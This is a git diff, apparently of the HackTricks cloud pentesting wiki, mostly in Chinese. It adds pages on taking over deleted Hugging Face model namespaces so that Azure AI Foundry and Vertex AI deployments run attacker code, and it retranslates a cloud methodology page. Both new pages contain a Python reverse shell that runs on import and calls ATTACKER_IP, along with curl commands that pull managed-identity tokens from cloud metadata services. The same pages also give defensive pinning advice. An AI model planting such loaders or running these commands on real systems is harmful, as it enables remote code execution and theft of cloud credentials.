diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index c9610a2f0..b4adb6f18 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -1,3 +1,9 @@ -# Az - Post Exploitation +# Az - 后渗透 + +{{#include ../../../banners/hacktricks-training.md}} + +{{#ref}} +az-azure-ai-foundry-post-exploitation.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md new file mode 100644 index 000000000..9c7069c0e --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md @@ -0,0 +1,94 @@ +# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse + +{{#include ../../../banners/hacktricks-training.md}} + +## 场景 + +- Azure AI Foundry Model Catalog 包含许多可一键部署的 Hugging Face (HF) 模型。 +- HF model identifiers are Author/ModelName。如果某个 HF author/org 被删除,任何人都可以重新注册该 author 并在相同的 legacy path 发布具有相同 ModelName 的模型。 +- 仅按名称拉取的 pipelines 和 catalogs(不做 commit pinning/integrity)会解析到攻击者控制的 repos。当 Azure 部署该模型时,loader 代码可能在 endpoint 环境执行,从而以该 endpoint 的权限获得 RCE。 + +Common HF takeover cases: +- Ownership deletion: 旧路径 404,直到 takeover。 +- Ownership transfer: 在旧 author 存在时旧路径会 307 到新 author。如果旧 author 后来被删除并重新注册,重定向会失效,攻击者的 repo 将在 legacy path 提供服务。 + +## 识别可重用的命名空间 (HF) +```bash +# Check author/org existence +curl -I https://huggingface.co/ # 200 exists, 404 deleted/available + +# Check model path +curl -I https://huggingface.co// +# 307 -> redirect (transfer case), 404 -> deleted until takeover +``` +## 针对 Azure AI Foundry 的端到端攻击流程 + +1) 在 Model Catalog 中,查找在 HF 上原始作者被删除或转移(旧作者被移除)的 HF models。 +2) 在 HF 上重新注册被遗弃的作者并重新创建 ModelName。 +3) 发布一个包含在 import 时执行或需要 trust_remote_code=True 的 loader 代码的恶意 repo。 +4) 从 Azure AI Foundry 部署旧的 Author/ModelName。平台会拉取攻击者的 repo;loader 在 Azure endpoint 的 container/VM 内执行,从而以 endpoint 权限实现 RCE。 + +示例 payload 片段,在 import 时执行(仅作演示): +```python +# __init__.py or a module imported by the model loader +import os, socket, subprocess, threading + +def _rs(host, port): +s = socket.socket(); s.connect((host, port)) +for fd in (0,1,2): +try: +os.dup2(s.fileno(), fd) +except Exception: +pass +subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images + +if os.environ.get("AZUREML_ENDPOINT","1") == "1": +threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() +``` +注意 +- AI Foundry deployments that integrate HF typically clone and import repo modules referenced by the model’s config (e.g., auto_map), which can trigger code execution. Some paths require trust_remote_code=True. +- Access usually matches the endpoint’s managed identity/service principal permissions. Treat it as an initial access foothold for data access and lateral movement within Azure. + +## 后利用提示 (Azure Endpoint) + +- 枚举环境变量和 MSI 端点以获取令牌: +```bash +# Azure Instance Metadata Service (inside Azure compute) +curl -H "Metadata: true" \ +"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" +``` +- 使用获取到的 token 检查已挂载的存储、模型工件,以及可达的 Azure services。 +- 如果平台会从 HF 重新拉取,考虑通过留置被投毒的模型工件以实现 persistence。 + +## 针对 Azure AI Foundry 用户的防御性指南 + +- 从 HF 加载时按 commit 固定模型: +```python +from transformers import AutoModel +m = AutoModel.from_pretrained("Author/ModelName", revision="") +``` +- 将经过审查的 HF 模型镜像到受信任的内部注册表,并从那里部署。 +- 持续扫描代码库和默认值/文档字符串/笔记本,以查找被硬编码的 Author/ModelName(被删除/已转移);更新或固定(pin)。 +- 在部署之前验证作者存在性和模型来源。 + +## 识别启发式 (HTTP) + +- 已删除作者:作者页面 404;旧的模型路径在接管之前返回 404。 +- 已转移的模型:在旧作者仍存在时,旧的模型路径会 307 重定向到新作者;如果旧作者后来被删除并重新注册,旧路径会提供攻击者内容。 +```bash +curl -I https://huggingface.co// | egrep "^HTTP|^location" +``` +## 交叉引用 + +- 请参阅更广泛的方法论和供应链注意事项: + +{{#ref}} +../../pentesting-cloud-methodology.md +{{#endref}} + +## 参考资料 + +- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/) +- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md index f39f592d7..8f4597e1a 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md @@ -1,3 +1,9 @@ -# GCP - 后期利用 +# GCP - Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +{{#ref}} +gcp-vertex-ai-post-exploitation.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md new file mode 100644 index 000000000..837ddc9d5 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md @@ -0,0 +1,113 @@ +# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse + +{{#include ../../../banners/hacktricks-training.md}} + +## 场景 + +- Vertex AI Model Garden 允许直接部署许多 Hugging Face (HF) 模型。 +- HF 模型标识符为 Author/ModelName。如果 HF 上的作者/组织被删除,相同的作者名可以被任何人重新注册。攻击者随后可以在遗留路径创建具有相同 ModelName 的 repo。 +- 那些仅按名称拉取(没有 pinning/integrity)的 pipelines、SDKs 或 cloud catalogs 会拉取攻击者控制的 repo。当模型被部署时,该 repo 中的 loader 代码可能在 Vertex AI endpoint 容器内执行,从而以 endpoint 的权限获得 RCE。 + +HF 上两种常见的接管情况: +- 所有权删除:旧路径返回 404,直到有人重新注册该作者并发布相同的 ModelName。 +- 所有权转移:HF 会对旧的 Author/ModelName 发出 307 重定向到新作者。如果旧作者随后被删除并被攻击者重新注册,重定向链将被破坏,攻击者的 repo 将在遗留路径提供服务。 + +## 识别可重用命名空间 (HF) + +- 老作者被删除:作者页面返回 404;模型路径可能返回 404,直到被接管。 +- 被转移的模型:在旧作者存在时旧模型路径会向新所有者发出 307。如果旧作者随后被删除并被重新注册,遗留路径将解析到攻击者的 repo。 + +使用 curl 的快速检查: +```bash +# Check author/org existence +curl -I https://huggingface.co/ +# 200 = exists, 404 = deleted/available + +# Check old model path behavior +curl -I https://huggingface.co// +# 307 = redirect to new owner (transfer case) +# 404 = missing (deletion case) until someone re-registers +``` +## 针对 Vertex AI 的端到端攻击流程 + +1) 发现 Model Garden 列为可部署的可重用模型命名空间: +- 在 Vertex AI Model Garden 中查找仍显示为 “verified deployable” 的 HF 模型。 +- 在 HF 上核实原作者是否已被删除,或模型是否被转移且旧作者随后被移除。 + +2) 在 HF 上重新注册已删除的作者并重建相同的 ModelName。 + +3) 发布恶意 repo。包含在模型加载时执行的代码。常在 HF 模型加载期间执行的示例: +- 在仓库的 __init__.py 中的副作用 +- 被 config/auto_map 引用的自定义 modeling_*.py 或处理代码 +- 在 Transformers pipelines 中需要 trust_remote_code=True 的代码路径 + +4) 遗留 Author/ModelName 的 Vertex AI 部署现在会拉取攻击者的 repo。加载器在 Vertex AI endpoint 容器内执行。 + +5) Payload 在 endpoint 环境中建立访问(RCE),并使用该 endpoint 的权限。 + +示例 payload 片段,在导入时执行(仅用于演示): +```python +# Place in __init__.py or a module imported by the model loader +import os, socket, subprocess, threading + +def _rs(host, port): +s = socket.socket(); s.connect((host, port)) +for fd in (0,1,2): +try: +os.dup2(s.fileno(), fd) +except Exception: +pass +subprocess.call(["/bin/sh","-i"]) # Or python -c exec ... + +if os.environ.get("VTX_AI","1") == "1": +threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() +``` +注意事项 +- 实际的加载器各不相同。许多 Vertex AI HF 集成会 clone 并导入模型配置中引用的 repo 模块(例如 auto_map),这可能触发 code execution。某些用法需要 trust_remote_code=True。 +- 该 endpoint 通常在作用域受限的独立容器中运行,但它是获取数据访问和在 GCP 中横向移动的一个有效初始立足点。 + +## Post-Exploitation Tips (Vertex AI Endpoint) + +一旦 code 在 endpoint 容器内运行,考虑: +- 枚举环境变量和 metadata 以寻找凭证/令牌 +- 访问附加的存储或已挂载的 model artifacts +- 通过 service account 身份与 Google APIs 交互(Document AI, Storage, Pub/Sub 等) +- 在 model artifact 中保持持久性(如果平台会重新拉取 repo) + +如果可访问,枚举 instance metadata(取决于容器): +```bash +curl -H "Metadata-Flavor: Google" \ +http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token +``` +## 面向 Vertex AI 用户的防御建议 + +- 在 HF loaders 中按 commit 固定模型,以防止静默替换: +```python +from transformers import AutoModel +m = AutoModel.from_pretrained("Author/ModelName", revision="") +``` +- 将经过审核的 HF 模型镜像到受信任的内部 artifact store/registry,并从那里部署。 +- 持续扫描代码库和配置以查找被硬编码的 Author/ModelName(已删除/已转移);将其更新为新命名空间或按 commit 固定。 +- 在 Model Garden 中,部署前验证模型来源和作者是否存在。 + +## Recognition Heuristics (HTTP) + +- Deleted author: author page 404; legacy model path 404 until takeover. +- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content. +```bash +curl -I https://huggingface.co// | egrep "^HTTP|^location" +``` +## 交叉引用 + +- 参见更广泛的方法论和供应链说明: + +{{#ref}} +../../pentesting-cloud-methodology.md +{{#endref}} + +## 参考资料 + +- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/) +- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 44354d24d..cb3e944be 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -1,44 +1,44 @@ -# Pentesting Cloud Methodology +# Pentesting Cloud 方法论 {{#include ../banners/hacktricks-training.md}}
-## 基本方法论 +## 基本方法 -每个云都有其独特性,但一般来说,在测试云环境时,有一些**渗透测试人员应该检查的共同事项**: +每个 cloud 都有其特殊性,但一般来说在测试 cloud 环境时,有一些 **pentester 应该检查的常见事项**: - **基准检查** -- 这将帮助你**了解环境的规模**和**使用的服务** -- 这也将使你能够找到一些**快速的配置错误**,因为你可以使用**自动化工具**执行大部分测试 +- 这将帮助你 **了解环境的规模** 以及 **所使用的服务** +- 这也能让你发现一些 **快速的错误配置**,因为你可以用 **自动化工具** 执行大部分这些测试 - **服务枚举** -- 如果你正确执行了基准测试,你可能不会在这里发现更多的配置错误,但你可能会发现一些在基准测试中未被关注的错误。 -- 这将使你知道**在云环境中到底使用了什么** -- 这在接下来的步骤中会有很大帮助 +- 如果你正确执行了基准测试,这里可能不会发现更多的错误配置,但你可能会发现一些基准测试中没有覆盖到的情况。 +- 这将让你知道在 cloud 环境中 **到底在使用什么** +- 这对后续步骤会有很大帮助 - **检查暴露的资产** -- 这可以在前面的部分中完成,你需要**找出所有可能暴露**于互联网的内容以及如何访问它。 -- 这里我指的是**手动暴露的基础设施**,如具有网页的实例或其他暴露的端口,以及其他**可以配置为暴露的云管理服务**(如数据库或存储桶) -- 然后你应该检查**该资源是否可以被暴露**(机密信息?漏洞?暴露服务中的配置错误?) +- 这可以在上一节中完成,你需要 **找出所有可能以某种方式暴露给 Internet 的资源**,以及如何访问它们。 +- 这里我指的是诸如带有网页的实例或暴露了其他端口的手动暴露基础设施,以及其他可配置为暴露的云托管服务(例如 DBs 或 buckets) +- 然后你应该检查 **该资源是否可以被暴露**(机密信息?漏洞?被暴露服务的错误配置?) - **检查权限** -- 在这里你应该**找出每个角色/用户的所有权限**以及它们是如何使用的 -- 过多的**高权限**(控制一切)账户?未使用的生成密钥?... 大部分这些检查应该已经在基准测试中完成 -- 如果客户使用OpenID或SAML或其他**联合身份验证**,你可能需要向他们询问更多关于**每个角色是如何分配的**信息(管理员角色分配给1个用户或100个用户是不同的) -- **仅仅找到**哪些用户具有**管理员**权限“*:*”是不够的。还有很多**其他权限**,根据使用的服务可能非常**敏感**。 -- 此外,还有**潜在的权限提升**方式可以通过滥用权限来实现。所有这些都应该考虑在内,并且**尽可能多的权限提升路径**应该被报告。 +- 在此你应 **查明 cloud 内每个角色/用户的所有权限** 以及它们如何被使用 +- 是否存在过多 **高度权限**(控制一切)的账户?生成的密钥未使用?……大多数这些检查本应已在基准测试中完成 +- 如果客户使用 OpenID、SAML 或其他 **federation**,你可能需要向他们询问关于 **每个角色如何被分配** 的进一步 **信息**(将 admin 角色分配给 1 个用户与分配给 100 个用户并不相同) +- 仅仅找出哪些用户拥有 **admin** 权限 "*:*" 是不够的。还有许多 **其他权限**,根据所用服务可能非常 **敏感**。 +- 此外,存在滥用权限的 **潜在 privesc** 路径。所有这些都应被考虑在内,并应尽可能报告 **尽量多的 privesc 路径**。 - **检查集成** -- 很可能在云环境中使用了**与其他云或SaaS的集成**。 -- 对于**你正在审计的云的集成**与其他平台,你应该通知**谁有权访问(滥用)该集成**,并询问**执行该操作的敏感性**。\ -例如,谁可以在AWS存储桶中写入数据,而GCP正在从中获取数据(询问在GCP处理该数据时该操作的敏感性)。 -- 对于**你正在审计的云中**来自外部平台的集成,你应该询问**谁有外部访问权限(滥用)该集成**,并检查该数据是如何使用的。\ -例如,如果一个服务使用托管在GCR中的Docker镜像,你应该询问谁有权修改该镜像,以及在AWS云中执行时该镜像将获取哪些敏感信息和访问权限。 +- 很有可能在该 cloud 环境中使用了与其他云或 SaaS 的 **集成**。 +- 对于你正在审计的 cloud 与其他平台之间的 **integrations**,你应告知 **谁有权访问以(滥)用该集成**,并应询问该操作的 **敏感程度**。\ +例如,谁能在一个 AWS bucket 写入数据,而 GCP 正从该 bucket 获取数据(询问在 GCP 处理该数据时该操作有多敏感)。 +- 对于来自外部平台的、在你审计的 cloud 内的 **integrations**,你应询问 **谁在外部有权限访问以(滥)用该集成**,并检查该数据如何被使用。\ +例如,如果某服务使用托管在 GCR 的 Docker 镜像,你应询问谁有权限修改该镜像,以及该镜像在在 AWS cloud 内执行时将会获得哪些敏感信息和访问权限。 ## 多云工具 -有几种工具可以用于测试不同的云环境。安装步骤和链接将在本节中指明。 +有若干工具可用于测试不同的 cloud 环境。本节将指明安装步骤和链接。 ### [PurplePanda](https://github.com/carlospolop/purplepanda) -一个工具,用于**识别云及跨云/SaaS中的错误配置和权限提升路径。** +一个用于 **识别云内及跨云/SaaS 的错误配置和 privesc 路径** 的工具。 {{#tabs }} {{#tab name="Install" }} @@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env ### [Prowler](https://github.com/prowler-cloud/prowler) -它支持 **AWS, GCP & Azure**。查看如何配置每个提供商在 [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) +它支持 **AWS、GCP 和 Azure**。请查看 [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) 了解如何为每个提供商配置。 ```bash # Install pip install prowler @@ -112,7 +112,7 @@ npm install ### [ScoutSuite](https://github.com/nccgroup/ScoutSuite) -AWS, Azure, GCP, 阿里云, 甲骨文云基础设施 +AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure {{#tabs }} {{#tab name="Install" }} @@ -170,7 +170,9 @@ steampipe check all 检查所有项目 -为了检查所有项目,您需要生成 `gcp.spc` 文件,指明所有要测试的项目。您可以按照以下脚本中的指示进行操作。 +要检查所有项目,您需要生成 `gcp.spc` 文件来列出要测试的所有项目。您可以按照下面脚本中的说明进行操作。 + + ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -194,9 +196,9 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ``` -要检查 **其他 GCP 见解**(用于枚举服务),请使用: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +要查看 **其他 GCP insights**(对枚举服务有用)请使用: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -要检查 Terraform GCP 代码: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +要查看 Terraform GCP 代码: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) 更多 Steampipe 的 GCP 插件: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} @@ -225,24 +227,24 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` -要检查 Terraform AWS 代码:[https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) +检查 Terraform AWS 代码: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -更多 Steampipe 的 AWS 插件:[https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +更多 Steampipe 的 AWS 插件: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) -AWS, GCP, Azure, DigitalOcean。\ -它需要 python2.7,并且看起来没有维护。 +AWS, GCP, Azure, DigitalOcean.\ +需要 python2.7,且似乎已不再维护。 ### Nessus -Nessus 有一个 _**审计云基础设施**_ 扫描,支持:AWS, Azure, Office 365, Rackspace, Salesforce。在 **Azure** 中需要一些额外配置以获取 **Client Id**。 +Nessus 有一个 _**Audit Cloud Infrastructure**_ 扫描,支持:AWS, Azure, Office 365, Rackspace, Salesforce。对于 **Azure** 需要一些额外配置以获取 **Client Id**。 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist 是一个 **多云工具,用于获取资产**(主机名,IP 地址)来自云提供商。 +Cloudlist 是一个 **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers。 {{#tabs }} {{#tab name="Cloudlist" }} @@ -265,7 +267,7 @@ cloudlist -config ### [**cartography**](https://github.com/lyft/cartography) -Cartography 是一个 Python 工具,它将基础设施资产及其之间的关系整合在一个由 Neo4j 数据库驱动的直观图形视图中。 +Cartography 是一个 Python 工具,用于汇总基础设施资产及它们之间的关系,并以由 Neo4j 数据库驱动的直观图形视图展示。 {{#tabs }} {{#tab name="Install" }} @@ -302,7 +304,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase 收集来自服务和系统的资产和关系,包括云基础设施、SaaS 应用程序、安全控制等,形成一个直观的图形视图,支持 Neo4j 数据库。 +Starbase 将来自服务和系统的资产与关系(包括云基础设施、SaaS 应用、安全控制等)收集到由 Neo4j 数据库支撑的直观图形视图中。 {{#tabs }} {{#tab name="Install" }} @@ -361,7 +363,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -发现扫描的 AWS 或 Azure 环境中最特权的用户,包括 AWS Shadow Admins。它使用 powershell。 +发现已扫描的 AWS 或 Azure 环境中权限最高的用户,包括 AWS Shadow Admins。它使用 powershell。 ```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -372,12 +374,12 @@ Scan-AzureAdmins ``` ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -一个工具,用于在主要云服务提供商(亚马逊、谷歌、微软、DigitalOcean、阿里巴巴、Vultr、Linode)上查找公司的(目标)基础设施、文件和应用程序。 +一个用于在主要云提供商(Amazon、Google、Microsoft、DigitalOcean、Alibaba、Vultr、Linode)上发现公司(目标)基础设施、文件和应用的工具。 ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox 是一个用于查找云基础设施中可利用攻击路径的工具(目前仅支持 AWS 和 Azure,GCP 即将推出)。 -- 这是一个枚举工具,旨在补充手动渗透测试。 +- CloudFox 是一个用于发现云基础设施中可利用的攻击路径的工具(目前仅支持 AWS & Azure,GCP 即将支持)。 +- 它是一个枚举工具,旨在补充人工 pentesting。 - 它不会在云环境中创建或修改任何数据。 ### 更多云安全工具列表 @@ -412,10 +414,10 @@ azure-security/ ### 攻击图 -[**Stormspotter** ](https://github.com/Azure/Stormspotter) 创建 Azure 订阅中资源的“攻击图”。它使红队和渗透测试人员能够可视化攻击面和租户内的转移机会,并增强防御者快速定位和优先处理事件响应工作的能力。 +[**Stormspotter** ](https://github.com/Azure/Stormspotter)在 Azure 订阅中为资源创建“攻击图”。它使 red teams 和 pentesters 能够可视化租户内的攻击面和横向移动机会,并帮助你的防守方快速定位并优先处理事件响应工作。 ### Office365 -您需要 **Global Admin** 或至少 **Global Admin Reader**(但请注意,Global Admin Reader 有一些限制)。然而,这些限制出现在某些 PS 模块中,可以通过 **通过网络应用程序** 访问功能来绕过。 +你需要 **Global Admin** 或至少 **Global Admin Reader**(注意 Global Admin Reader 有一些限制)。不过,这些限制会在某些 PS 模块中出现,并且可以通过 **通过 web 应用程序** 访问功能来绕过。 {{#include ../banners/hacktricks-training.md}}